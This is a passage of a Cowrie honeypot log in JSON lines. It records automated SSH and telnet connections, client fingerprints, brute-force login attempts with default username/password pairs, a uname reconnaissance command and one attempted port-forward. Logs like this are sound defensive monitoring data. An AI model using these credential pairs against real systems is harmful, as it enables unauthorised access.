CS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:27.638415Z","src_ip":"172.237.20.62","session":"37add312a6d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.119401Z","src_ip":"172.237.20.62","session":"37add312a6d3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.531443Z","src_ip":"172.237.20.62","session":"37add312a6d3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.535430Z","src_ip":"172.237.20.62","session":"37add312a6d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41716,"dst_ip":"159.203.135.109","dst_port":22,"session":"a882fcc05306","protocol":"ssh","message":"New connection: 176.65.132.129:41716 (159.203.135.109:22) [session: a882fcc05306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.542225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.547069Z","src_ip":"176.65.132.129","session":"a882fcc05306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.631304Z","src_ip":"176.65.132.129","session":"a882fcc05306","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.698871Z","src_ip":"172.237.20.62","session":"37add312a6d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.703212Z","src_ip":"172.237.20.62","session":"37add312a6d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:28.882609Z","src_ip":"176.65.132.129","session":"a882fcc05306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:29.969772Z","src_ip":"176.65.132.129","session":"a882fcc05306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50108,"dst_ip":"10.17.0.5","dst_port":22,"session":"e94c0beb3a6b","protocol":"ssh","message":"New connection: 87.251.64.176:50108 (10.17.0.5:22) [session: e94c0beb3a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.436810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.441628Z","src_ip":"87.251.64.176","session":"e94c0beb3a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.538727Z","src_ip":"87.251.64.176","session":"e94c0beb3a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41732,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dd88cf25a4f","protocol":"ssh","message":"New connection: 176.65.132.129:41732 (159.203.135.109:22) [session: 5dd88cf25a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.737777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.742685Z","src_ip":"176.65.132.129","session":"5dd88cf25a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.825030Z","src_ip":"176.65.132.129","session":"5dd88cf25a4f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.833000Z","src_ip":"87.251.64.176","session":"e94c0beb3a6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:31.930181Z","session":"e94c0beb3a6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:32.028876Z","src_ip":"87.251.64.176","session":"e94c0beb3a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:32.073093Z","src_ip":"176.65.132.129","session":"5dd88cf25a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:32.134472Z","src_ip":"87.251.64.176","session":"e94c0beb3a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:33.160550Z","src_ip":"176.65.132.129","session":"5dd88cf25a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41744,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf10f97031a","protocol":"ssh","message":"New connection: 176.65.132.129:41744 (159.203.135.109:22) [session: fdf10f97031a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:35.038171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:35.089420Z","src_ip":"176.65.132.129","session":"fdf10f97031a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:35.130518Z","src_ip":"176.65.132.129","session":"fdf10f97031a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:35.443208Z","src_ip":"176.65.132.129","session":"fdf10f97031a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:36.528467Z","src_ip":"176.65.132.129","session":"fdf10f97031a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.34822630882263,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:37.570403Z","src_ip":"45.58.127.90","session":"8991d5b16764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58820,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b117038ea6","protocol":"ssh","message":"New connection: 176.65.132.129:58820 (159.203.135.109:22) [session: e1b117038ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.280102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.287227Z","src_ip":"176.65.132.129","session":"e1b117038ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40540,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9f74e27795","protocol":"ssh","message":"New connection: 172.237.20.62:40540 (159.203.135.109:22) [session: aa9f74e27795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.339443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.344436Z","src_ip":"172.237.20.62","session":"aa9f74e27795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.369456Z","src_ip":"176.65.132.129","session":"e1b117038ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.506425Z","src_ip":"172.237.20.62","session":"aa9f74e27795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.617515Z","src_ip":"176.65.132.129","session":"e1b117038ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:38.989736Z","src_ip":"172.237.20.62","session":"aa9f74e27795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:39.703197Z","src_ip":"176.65.132.129","session":"e1b117038ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:40.153339Z","src_ip":"172.237.20.62","session":"aa9f74e27795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58834,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cf8a8c9e90b","protocol":"ssh","message":"New connection: 176.65.132.129:58834 (159.203.135.109:22) [session: 6cf8a8c9e90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:41.523763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:41.589731Z","src_ip":"176.65.132.129","session":"6cf8a8c9e90b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:41.676767Z","src_ip":"176.65.132.129","session":"6cf8a8c9e90b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:41.922751Z","src_ip":"176.65.132.129","session":"6cf8a8c9e90b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:43.018677Z","src_ip":"176.65.132.129","session":"6cf8a8c9e90b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00247859954834,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:44.602166Z","src_ip":"195.245.96.245","session":"a0547e8cbeec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58840,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c3571f8e7a","protocol":"ssh","message":"New connection: 176.65.132.129:58840 (159.203.135.109:22) [session: d0c3571f8e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:44.810009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:44.815288Z","src_ip":"176.65.132.129","session":"d0c3571f8e7a","protocol":"ssh"}
